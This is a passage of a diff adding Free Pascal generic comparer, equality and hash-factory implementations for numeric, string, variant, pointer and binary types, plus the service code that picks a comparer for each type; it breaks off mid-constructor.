+{----------------------------------------------------------------------------------------------------------------------- + Comparers for Float types +{----------------------------------------------------------------------------------------------------------------------} + +class function TCompare.Single(constref ALeft, ARight: Single): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +class function TCompare.Double(constref ALeft, ARight: Double): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +class function TCompare.Extended(constref ALeft, ARight: Extended): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +{----------------------------------------------------------------------------------------------------------------------- + Comparers for other number types +{----------------------------------------------------------------------------------------------------------------------} + +class function TCompare.Currency(constref ALeft, ARight: Currency): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +class function TCompare.Comp(constref ALeft, ARight: Comp): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +{----------------------------------------------------------------------------------------------------------------------- + Comparers for binary data (records etc) and dynamics arrays +{----------------------------------------------------------------------------------------------------------------------} + +class function TCompare._Binary(constref ALeft, ARight): Integer; +var + _self: TComparerService.PSpoofInterfacedTypeSizeObject absolute Self; +begin + Result := CompareMemRange(@ALeft, @ARight, _self.Size); +end; + +class function TCompare._DynArray(constref ALeft, ARight: Pointer): Integer; +var + _self: TComparerService.PSpoofInterfacedTypeSizeObject absolute Self; + LLength, LLeftLength, LRightLength: Integer; +begin + LLeftLength := DynArraySize(ALeft); + LRightLength := DynArraySize(ARight); + if LLeftLength > LRightLength then + LLength := LRightLength + else + LLength := LLeftLength; + + Result := CompareMemRange(ALeft, ARight, LLength * _self.Size); + + if Result = 0 then + Result := LLeftLength - LRightLength; +end; + +class function TCompare.Binary(constref ALeft, ARight; const ASize: SizeInt): Integer; +begin + Result := CompareMemRange(@ALeft, @ARight, ASize); +end; + +class function TCompare.DynArray(constref ALeft, ARight: Pointer; const AElementSize: SizeInt): Integer; +var + LLength, LLeftLength, LRightLength: Integer; +begin + LLeftLength := DynArraySize(ALeft); + LRightLength := DynArraySize(ARight); + if LLeftLength > LRightLength then + LLength := LRightLength + else + LLength := LLeftLength; + + Result := CompareMemRange(ALeft, ARight, LLength * AElementSize); + + if Result = 0 then + Result := LLeftLength - LRightLength; +end; + +{----------------------------------------------------------------------------------------------------------------------- + Comparers for string types +{----------------------------------------------------------------------------------------------------------------------} + +class function TCompare.ShortString1(constref ALeft, ARight: ShortString1): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +class function TCompare.ShortString2(constref ALeft, ARight: ShortString2): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +class function TCompare.ShortString3(constref ALeft, ARight: ShortString3): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +class function TCompare.ShortString(constref ALeft, ARight: ShortString): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +class function TCompare.&String(constref ALeft, ARight: String): Integer; +begin + Result := CompareStr(ALeft, ARight); +end; + +class function TCompare.AnsiString(constref ALeft, ARight: AnsiString): Integer; +begin + Result := AnsiCompareStr(ALeft, ARight); +end; + +class function TCompare.WideString(constref ALeft, ARight: WideString): Integer; +begin + Result := WideCompareStr(ALeft, ARight); +end; + +class function TCompare.UnicodeString(constref ALeft, ARight: UnicodeString): Integer; +begin + Result := UnicodeCompareStr(ALeft, ARight); +end; + +{----------------------------------------------------------------------------------------------------------------------- + Comparers for Delegates +{----------------------------------------------------------------------------------------------------------------------} + +class function TCompare.Method(constref ALeft, ARight: TMethod): Integer; +begin + Result := CompareMemRange(@ALeft, @ARight, SizeOf(System.TMethod)); +end; + +{----------------------------------------------------------------------------------------------------------------------- + Comparers for Variant +{----------------------------------------------------------------------------------------------------------------------} + +class function TCompare.Variant(constref ALeft, ARight: PVariant): Integer; +var + LLeftString, LRightString: string; +begin + try + case VarCompareValue(ALeft^, ARight^) of + vrGreaterThan: + Exit(1); + vrLessThan: + Exit(-1); + vrEqual: + Exit(0); + vrNotEqual: + if VarIsEmpty(ALeft^) or VarIsNull(ALeft^) then + Exit(1) + else + Exit(-1); + end; + except + try + LLeftString := ALeft^; + LRightString := ARight^; + Result := CompareStr(LLeftString, LRightString); + except + Result := CompareMemRange(ALeft, ARight, SizeOf(System.Variant)); + end; + end; +end; + +{----------------------------------------------------------------------------------------------------------------------- + Comparers for Pointer +{----------------------------------------------------------------------------------------------------------------------} + +class function TCompare.Pointer(constref ALeft, ARight: PtrUInt): Integer; +begin + if ALeft > ARight then + Exit(1) + else if ALeft < ARight then + Exit(-1) + else + Exit(0); +end; + +{ TEquals } + +(*********************************************************************************************************************** + Equality Comparers +(**********************************************************************************************************************) + +{----------------------------------------------------------------------------------------------------------------------- + Equality Comparers Int8 - Int32 and UInt8 - UInt32 +{----------------------------------------------------------------------------------------------------------------------} + +class function TEquals.Integer(constref ALeft, ARight: Integer): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.Int8(constref ALeft, ARight: Int8): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.Int16(constref ALeft, ARight: Int16): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.Int32(constref ALeft, ARight: Int32): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.Int64(constref ALeft, ARight: Int64): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.UInt8(constref ALeft, ARight: UInt8): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.UInt16(constref ALeft, ARight: UInt16): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.UInt32(constref ALeft, ARight: UInt32): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.UInt64(constref ALeft, ARight: UInt64): Boolean; +begin + Result := ALeft = ARight; +end; + +{----------------------------------------------------------------------------------------------------------------------- + Equality Comparers for Float types +{----------------------------------------------------------------------------------------------------------------------} + +class function TEquals.Single(constref ALeft, ARight: Single): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.Double(constref ALeft, ARight: Double): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.Extended(constref ALeft, ARight: Extended): Boolean; +begin + Result := ALeft = ARight; +end; + +{----------------------------------------------------------------------------------------------------------------------- + Equality Comparers for other number types +{----------------------------------------------------------------------------------------------------------------------} + +class function TEquals.Currency(constref ALeft, ARight: Currency): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.Comp(constref ALeft, ARight: Comp): Boolean; +begin + Result := ALeft = ARight; +end; + +{----------------------------------------------------------------------------------------------------------------------- + Equality Comparers for binary data (records etc) and dynamics arrays +{----------------------------------------------------------------------------------------------------------------------} + +class function TEquals._Binary(constref ALeft, ARight): Boolean; +var + _self: TComparerService.PSpoofInterfacedTypeSizeObject absolute Self; +begin + Result := CompareMem(@ALeft, @ARight, _self.Size); +end; + +class function TEquals._DynArray(constref ALeft, ARight: Pointer): Boolean; +var + _self: TComparerService.PSpoofInterfacedTypeSizeObject absolute Self; + LLength: Integer; +begin + LLength := DynArraySize(ALeft); + if LLength <> DynArraySize(ARight) then + Exit(False); + + Result := CompareMem(ALeft, ARight, LLength * _self.Size); +end; + +class function TEquals.Binary(constref ALeft, ARight; const ASize: SizeInt): Boolean; +begin + Result := CompareMem(@ALeft, @ARight, ASize); +end; + +class function TEquals.DynArray(constref ALeft, ARight: Pointer; const AElementSize: SizeInt): Boolean; +var + LLength: Integer; +begin + LLength := DynArraySize(ALeft); + if LLength <> DynArraySize(ARight) then + Exit(False); + + Result := CompareMem(ALeft, ARight, LLength * AElementSize); +end; + +{----------------------------------------------------------------------------------------------------------------------- + Equality Comparers for classes +{----------------------------------------------------------------------------------------------------------------------} + +class function TEquals.&class(constref ALeft, ARight: TObject): Boolean; +begin + if ALeft <> nil then + Exit(ALeft.Equals(ARight)) + else + Exit(ARight = nil); +end; + +{----------------------------------------------------------------------------------------------------------------------- + Equality Comparers for string types +{----------------------------------------------------------------------------------------------------------------------} + +class function TEquals.ShortString1(constref ALeft, ARight: ShortString1): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.ShortString2(constref ALeft, ARight: ShortString2): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.ShortString3(constref ALeft, ARight: ShortString3): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.&String(constref ALeft, ARight: String): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.ShortString(constref ALeft, ARight: ShortString): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.AnsiString(constref ALeft, ARight: AnsiString): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.WideString(constref ALeft, ARight: WideString): Boolean; +begin + Result := ALeft = ARight; +end; + +class function TEquals.UnicodeString(constref ALeft, ARight: UnicodeString): Boolean; +begin + Result := ALeft = ARight; +end; + +{----------------------------------------------------------------------------------------------------------------------- + Equality Comparers for Delegates +{----------------------------------------------------------------------------------------------------------------------} + +class function TEquals.Method(constref ALeft, ARight: TMethod): Boolean; +begin + Result := (ALeft.Code = ARight.Code) and (ALeft.Data = ARight.Data); +end; + +{----------------------------------------------------------------------------------------------------------------------- + Equality Comparers for Variant +{----------------------------------------------------------------------------------------------------------------------} + +class function TEquals.Variant(constref ALeft, ARight: PVariant): Boolean; +begin + Result := VarCompareValue(ALeft^, ARight^) = vrEqual; +end; + +{----------------------------------------------------------------------------------------------------------------------- + Equality Comparers for Pointer +{----------------------------------------------------------------------------------------------------------------------} + +class function TEquals.Pointer(constref ALeft, ARight: PtrUInt): Boolean; +begin + Result := ALeft = ARight; +end; + +(*********************************************************************************************************************** + Hashes +(**********************************************************************************************************************) + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode Int8 - Int32 and UInt8 - UInt32 +{----------------------------------------------------------------------------------------------------------------------} + +class function THashFactory.Int8(constref AValue: Int8): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.Int8), 0); +end; + +class function THashFactory.Int16(constref AValue: Int16): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.Int16), 0); +end; + +class function THashFactory.Int32(constref AValue: Int32): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.Int32), 0); +end; + +class function THashFactory.Int64(constref AValue: Int64): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.Int64), 0); +end; + +class function THashFactory.UInt8(constref AValue: UInt8): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.UInt8), 0); +end; + +class function THashFactory.UInt16(constref AValue: UInt16): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.UInt16), 0); +end; + +class function THashFactory.UInt32(constref AValue: UInt32): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.UInt32), 0); +end; + +class function THashFactory.UInt64(constref AValue: UInt64): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.UInt64), 0); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for Float types +{----------------------------------------------------------------------------------------------------------------------} + +class function THashFactory.Single(constref AValue: Single): UInt32; +var + LMantissa: Float; + LExponent: Integer; +begin + Frexp(AValue, LMantissa, LExponent); + + if LMantissa = 0 then + LMantissa := Abs(LMantissa); + + Result := HASH_FACTORY.GetHashCode(@LMantissa, SizeOf(Math.Float), 0); + Result := HASH_FACTORY.GetHashCode(@LExponent, SizeOf(System.Integer), Result); +end; + +class function THashFactory.Double(constref AValue: Double): UInt32; +var + LMantissa: Float; + LExponent: Integer; +begin + Frexp(AValue, LMantissa, LExponent); + + if LMantissa = 0 then + LMantissa := Abs(LMantissa); + + Result := HASH_FACTORY.GetHashCode(@LMantissa, SizeOf(Math.Float), 0); + Result := HASH_FACTORY.GetHashCode(@LExponent, SizeOf(System.Integer), Result); +end; + +class function THashFactory.Extended(constref AValue: Extended): UInt32; +var + LMantissa: Float; + LExponent: Integer; +begin + Frexp(AValue, LMantissa, LExponent); + + if LMantissa = 0 then + LMantissa := Abs(LMantissa); + + Result := HASH_FACTORY.GetHashCode(@LMantissa, SizeOf(Math.Float), 0); + Result := HASH_FACTORY.GetHashCode(@LExponent, SizeOf(System.Integer), Result); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for other number types +{----------------------------------------------------------------------------------------------------------------------} + +class function THashFactory.Currency(constref AValue: Currency): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.Int64), 0); +end; + +class function THashFactory.Comp(constref AValue: Comp): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.Int64), 0); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for binary data (records etc) and dynamics arrays +{----------------------------------------------------------------------------------------------------------------------} + +class function THashFactory.Binary(constref AValue): UInt32; +var + _self: TComparerService.PSpoofInterfacedTypeSizeObject absolute Self; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, _self.Size, 0); +end; + +class function THashFactory.DynArray(constref AValue: Pointer): UInt32; +var + _self: TComparerService.PSpoofInterfacedTypeSizeObject absolute Self; +begin + Result := HASH_FACTORY.GetHashCode(AValue, DynArraySize(AValue) * _self.Size, 0); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for classes +{----------------------------------------------------------------------------------------------------------------------} + +class function THashFactory.&Class(constref AValue: TObject): UInt32; +begin + if AValue = nil then + Exit($2A); + + Result := AValue.GetHashCode; +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for string types +{----------------------------------------------------------------------------------------------------------------------} + +class function THashFactory.ShortString1(constref AValue: ShortString1): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue[1], Length(AValue), 0); +end; + +class function THashFactory.ShortString2(constref AValue: ShortString2): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue[1], Length(AValue), 0); +end; + +class function THashFactory.ShortString3(constref AValue: ShortString3): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue[1], Length(AValue), 0); +end; + +class function THashFactory.ShortString(constref AValue: ShortString): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue[1], Length(AValue), 0); +end; + +class function THashFactory.AnsiString(constref AValue: AnsiString): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue[1], Length(AValue) * SizeOf(System.AnsiChar), 0); +end; + +class function THashFactory.WideString(constref AValue: WideString): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue[1], Length(AValue) * SizeOf(System.WideChar), 0); +end; + +class function THashFactory.UnicodeString(constref AValue: UnicodeString): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue[1], Length(AValue) * SizeOf(System.UnicodeChar), 0); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for Delegates +{----------------------------------------------------------------------------------------------------------------------} + +class function THashFactory.Method(constref AValue: TMethod): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.TMethod), 0); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for Variant +{----------------------------------------------------------------------------------------------------------------------} + +class function THashFactory.Variant(constref AValue: PVariant): UInt32; +begin + try + Result := HASH_FACTORY.UnicodeString(AValue^); + except + Result := HASH_FACTORY.GetHashCode(AValue, SizeOf(System.Variant), 0); + end; +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for Pointer +{----------------------------------------------------------------------------------------------------------------------} + +class function THashFactory.Pointer(constref AValue: Pointer): UInt32; +begin + Result := HASH_FACTORY.GetHashCode(@AValue, SizeOf(System.Pointer), 0); +end; + +{ TExtendedHashFactory } + +(*********************************************************************************************************************** + Hashes 2 +(**********************************************************************************************************************) + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode Int8 - Int32 and UInt8 - UInt32 +{----------------------------------------------------------------------------------------------------------------------} + +class procedure TExtendedHashFactory.Int8(constref AValue: Int8; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.Int8), AHashList, []); +end; + +class procedure TExtendedHashFactory.Int16(constref AValue: Int16; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.Int16), AHashList, []); +end; + +class procedure TExtendedHashFactory.Int32(constref AValue: Int32; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.Int32), AHashList, []); +end; + +class procedure TExtendedHashFactory.Int64(constref AValue: Int64; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.Int64), AHashList, []); +end; + +class procedure TExtendedHashFactory.UInt8(constref AValue: UInt8; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.UInt8), AHashList, []); +end; + +class procedure TExtendedHashFactory.UInt16(constref AValue: UInt16; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.UInt16), AHashList, []); +end; + +class procedure TExtendedHashFactory.UInt32(constref AValue: UInt32; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.UInt32), AHashList, []); +end; + +class procedure TExtendedHashFactory.UInt64(constref AValue: UInt64; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.UInt64), AHashList, []); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for Float types +{----------------------------------------------------------------------------------------------------------------------} + +class procedure TExtendedHashFactory.Single(constref AValue: Single; AHashList: PUInt32); +var + LMantissa: Float; + LExponent: Integer; +begin + Frexp(AValue, LMantissa, LExponent); + + if LMantissa = 0 then + LMantissa := Abs(LMantissa); + + EXTENDED_HASH_FACTORY.GetHashList(@LMantissa, SizeOf(Math.Float), AHashList, []); + EXTENDED_HASH_FACTORY.GetHashList(@LExponent, SizeOf(System.Integer), AHashList, [ghloHashListAsInitData]); +end; + +class procedure TExtendedHashFactory.Double(constref AValue: Double; AHashList: PUInt32); +var + LMantissa: Float; + LExponent: Integer; +begin + Frexp(AValue, LMantissa, LExponent); + + if LMantissa = 0 then + LMantissa := Abs(LMantissa); + + EXTENDED_HASH_FACTORY.GetHashList(@LMantissa, SizeOf(Math.Float), AHashList, []); + EXTENDED_HASH_FACTORY.GetHashList(@LExponent, SizeOf(System.Integer), AHashList, [ghloHashListAsInitData]); +end; + +class procedure TExtendedHashFactory.Extended(constref AValue: Extended; AHashList: PUInt32); +var + LMantissa: Float; + LExponent: Integer; +begin + Frexp(AValue, LMantissa, LExponent); + + if LMantissa = 0 then + LMantissa := Abs(LMantissa); + + EXTENDED_HASH_FACTORY.GetHashList(@LMantissa, SizeOf(Math.Float), AHashList, []); + EXTENDED_HASH_FACTORY.GetHashList(@LExponent, SizeOf(System.Integer), AHashList, [ghloHashListAsInitData]); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for other number types +{----------------------------------------------------------------------------------------------------------------------} + +class procedure TExtendedHashFactory.Currency(constref AValue: Currency; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.Int64), AHashList, []); +end; + +class procedure TExtendedHashFactory.Comp(constref AValue: Comp; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.Int64), AHashList, []); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for binary data (records etc) and dynamics arrays +{----------------------------------------------------------------------------------------------------------------------} + +class procedure TExtendedHashFactory.Binary(constref AValue; AHashList: PUInt32); +var + _self: TComparerService.PSpoofInterfacedTypeSizeObject absolute Self; +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, _self.Size, AHashList, []); +end; + +class procedure TExtendedHashFactory.DynArray(constref AValue: Pointer; AHashList: PUInt32); +var + _self: TComparerService.PSpoofInterfacedTypeSizeObject absolute Self; +begin + EXTENDED_HASH_FACTORY.GetHashList(AValue, DynArraySize(AValue) * _self.Size, AHashList, []); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for classes +{----------------------------------------------------------------------------------------------------------------------} + +class procedure TExtendedHashFactory.&Class(constref AValue: TObject; AHashList: PUInt32); +var + LValue: PtrInt; +begin + if AValue = nil then + begin + LValue := $2A; + EXTENDED_HASH_FACTORY.GetHashList(@LValue, SizeOf(LValue), AHashList, []); + Exit; + end; + + LValue := AValue.GetHashCode; + EXTENDED_HASH_FACTORY.GetHashList(@LValue, SizeOf(LValue), AHashList, []); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for string types +{----------------------------------------------------------------------------------------------------------------------} + +class procedure TExtendedHashFactory.ShortString1(constref AValue: ShortString1; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue[1], Length(AValue), AHashList, []); +end; + +class procedure TExtendedHashFactory.ShortString2(constref AValue: ShortString2; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue[1], Length(AValue), AHashList, []); +end; + +class procedure TExtendedHashFactory.ShortString3(constref AValue: ShortString3; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue[1], Length(AValue), AHashList, []); +end; + +class procedure TExtendedHashFactory.ShortString(constref AValue: ShortString; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue[1], Length(AValue), AHashList, []); +end; + +class procedure TExtendedHashFactory.AnsiString(constref AValue: AnsiString; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue[1], Length(AValue) * SizeOf(System.AnsiChar), AHashList, []); +end; + +class procedure TExtendedHashFactory.WideString(constref AValue: WideString; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue[1], Length(AValue) * SizeOf(System.WideChar), AHashList, []); +end; + +class procedure TExtendedHashFactory.UnicodeString(constref AValue: UnicodeString; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue[1], Length(AValue) * SizeOf(System.UnicodeChar), AHashList, []); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for Delegates +{----------------------------------------------------------------------------------------------------------------------} + +class procedure TExtendedHashFactory.Method(constref AValue: TMethod; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.TMethod), AHashList, []); +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for Variant +{----------------------------------------------------------------------------------------------------------------------} + +class procedure TExtendedHashFactory.Variant(constref AValue: PVariant; AHashList: PUInt32); +begin + try + EXTENDED_HASH_FACTORY.UnicodeString(AValue^, AHashList); + except + EXTENDED_HASH_FACTORY.GetHashList(AValue, SizeOf(System.Variant), AHashList, []); + end; +end; + +{----------------------------------------------------------------------------------------------------------------------- + GetHashCode for Pointer +{----------------------------------------------------------------------------------------------------------------------} + +class procedure TExtendedHashFactory.Pointer(constref AValue: Pointer; AHashList: PUInt32); +begin + EXTENDED_HASH_FACTORY.GetHashList(@AValue, SizeOf(System.Pointer), AHashList, []); +end; + +{ TComparerService } + +class function TComparerService.CreateInterface(AVMT: Pointer; ASize: SizeInt): PSpoofInterfacedTypeSizeObject; +begin + Result := New(PSpoofInterfacedTypeSizeObject); + Result.VMT := AVMT; + Result.RefCount := 0; + Result.Size := ASize; +end; + +class function TComparerService.SelectIntegerComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; +begin + case ATypeData.OrdType of + otSByte: + Exit(@Comparer_Int8_Instance); + otUByte: + Exit(@Comparer_UInt8_Instance); + otSWord: + Exit(@Comparer_Int16_Instance); + otUWord: + Exit(@Comparer_UInt16_Instance); + otSLong: + Exit(@Comparer_Int32_Instance); + otULong: + Exit(@Comparer_UInt32_Instance); + else + System.Error(reRangeError); + Exit(nil); + end; +end; + +class function TComparerService.SelectInt64Comparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; +begin + if ATypeData.MaxInt64Value > ATypeData.MinInt64Value then + Exit(@Comparer_Int64_Instance) + else + Exit(@Comparer_UInt64_Instance); +end; + +class function TComparerService.SelectFloatComparer(ATypeData: PTypeData; + ASize: SizeInt): Pointer; +begin + case ATypeData.FloatType of + ftSingle: + Exit(@Comparer_Single_Instance); + ftDouble: + Exit(@Comparer_Double_Instance); + ftExtended: + Exit(@Comparer_Extended_Instance); + ftComp: + Exit(@Comparer_Comp_Instance); + ftCurr: + Exit(@Comparer_Currency_Instance); + else + System.Error(reRangeError); + Exit(nil); + end; +end; + +class function TComparerService.SelectShortStringComparer(ATypeData: PTypeData; + ASize: SizeInt): Pointer; +begin + case ASize of + 2: Exit(@Comparer_ShortString1_Instance); + 3: Exit(@Comparer_ShortString2_Instance); + 4: Exit(@Comparer_ShortString3_Instance); + else + Exit(@Comparer_ShortString_Instance); + end; +end; + +class function TComparerService.SelectBinaryComparer(ATypeData: PTypeData; + ASize: SizeInt): Pointer; +begin + case ASize of + 1: Exit(@Comparer_UInt8_Instance); + 2: Exit(@Comparer_UInt16_Instance); + 4: Exit(@Comparer_UInt32_Instance); +{$IFDEF CPU64} + 8: Exit(@Comparer_UInt64_Instance) +{$ENDIF} + else + Result := CreateInterface(@Comparer_Binary_VMT, ASize); + end; +end; + +class function TComparerService.SelectDynArrayComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; +begin + Result := CreateInterface(@Comparer_DynArray_VMT, ATypeData.elSize); +end; + +class function TComparerService.LookupComparer(ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; +var + LInstance: PInstance; +begin + if ATypeInfo = nil then + Exit(SelectBinaryComparer(GetTypeData(ATypeInfo), ASize)) + else + begin + LInstance := @ComparerInstances[ATypeInfo.Kind]; + Result := LInstance.Instance; + if LInstance.Selector then + Result := TSelectFunc(Result)(GetTypeData(ATypeInfo), ASize); + end; +end; + +{ TComparerService.TInstance } + +class function TComparerService.TInstance.Create(ASelector: Boolean; + AInstance: Pointer): TComparerService.TInstance; +begin + Result.Selector := ASelector; + Result.Instance := AInstance; +end; + +class function TComparerService.TInstance.CreateSelector(ASelectorInstance: CodePointer): TComparerService.TInstance; +begin + Result.Selector := True; + Result.SelectorInstance := ASelectorInstance; +end; + +{ TExtendedHashService } + +class function TExtendedHashService.LookupEqualityComparer(ATypeInfo: PTypeInfo; ASize: SizeInt): Pointer; +begin + Result := LookupExtendedEqualityComparer(ATypeInfo, ASize); +end; + +{ THashService } + +class function THashService<T>.SelectIntegerEqualityComparer(ATypeData: PTypeData; ASize: SizeInt): Pointer; +begin + case ATypeData.OrdType of + otSByte: + Exit(@FEqualityComparer_Int8_Instance); + otUByte: + Exit(@FEqualityComparer_UInt8_Instance); + otSWord: + Exit(@FEqualityComparer_Int16_Instance); + otUWord: + Exit(@FEqualityComparer_UInt16_Instance); + otSLong: + Exit(@FEqualityComparer_Int32_Instance); + otULong: + Exit(@FEqualityComparer_UInt32_Instance); + else + System.Error(reRangeError); + Exit(nil); + end; +end; + +class function THashService<T>.SelectFloatEqualityComparer(ATypeData: PTypeData; + ASize: SizeInt): Pointer; +begin + case ATypeData.FloatType of + ftSingle: + Exit(@FEqualityComparer_Single_Instance); + ftDouble: + Exit(@FEqualityComparer_Double_Instance); + ftExtended: + Exit(@FEqualityComparer_Extended_Instance); + ftComp: + Exit(@FEqualityComparer_Comp_Instance); + ftCurr: + Exit(@FEqualityComparer_Currency_Instance); + else + System.Error(reRangeError); + Exit(nil); + end; +end; + +class function THashService<T>.SelectShortStringEqualityComparer( + ATypeData: PTypeData; ASize: SizeInt): Pointer; +begin + case ASize of + 2: Exit(@FEqualityComparer_ShortString1_Instance); + 3: Exit(@FEqualityComparer_ShortString2_Instance); + 4: Exit(@FEqualityComparer_ShortString3_Instance); + else + Exit(@FEqualityComparer_ShortString_Instance); + end +end; + +class function THashService<T>.SelectBinaryEqualityComparer(ATypeData: PTypeData; + ASize: SizeInt): Pointer; +begin + case ASize of + 1: Exit(@FEqualityComparer_UInt8_Instance); + 2: Exit(@FEqualityComparer_UInt16_Instance); + 4: Exit(@FEqualityComparer_UInt32_Instance); +{$IFDEF CPU64} + 8: Exit(@FEqualityComparer_UInt64_Instance) +{$ENDIF} + else + Result := CreateInterface(@FEqualityComparer_Binary_VMT, ASize); + end; +end; + +class function THashService<T>.SelectDynArrayEqualityComparer( + ATypeData: PTypeData; ASize: SizeInt): Pointer; +begin + Result := CreateInterface(@FEqualityComparer_DynArray_VMT, ATypeData.elSize); +end; + +class function THashService<T>.LookupEqualityComparer(ATypeInfo: PTypeInfo; + ASize: SizeInt): Pointer; +var + LInstance: PInstance; + LSelectMethod: TSelectMethod; +begin + if ATypeInfo = nil then + Exit(SelectBinaryEqualityComparer(GetTypeData(ATypeInfo), ASize)) + else + begin + LInstance := @FEqualityComparerInstances[ATypeInfo.Kind]; + Result := LInstance.Instance; + if LInstance.Selector then + begin + TMethod(LSelectMethod).Code := LInstance.SelectorInstance; + TMethod(LSelectMethod).Data := Self; + Result := LSelectMethod(GetTypeData(ATypeInfo), ASize); + end; + end; +end; + +class constructor THashService<T>.Create; +begin + FEqualityComparer_Int8_VMT := EqualityComparer_Int8_VMT ; + FEqualityComparer_Int16_VMT := EqualityComparer_Int16_VMT ; + FEqualityComparer_Int32_VMT := 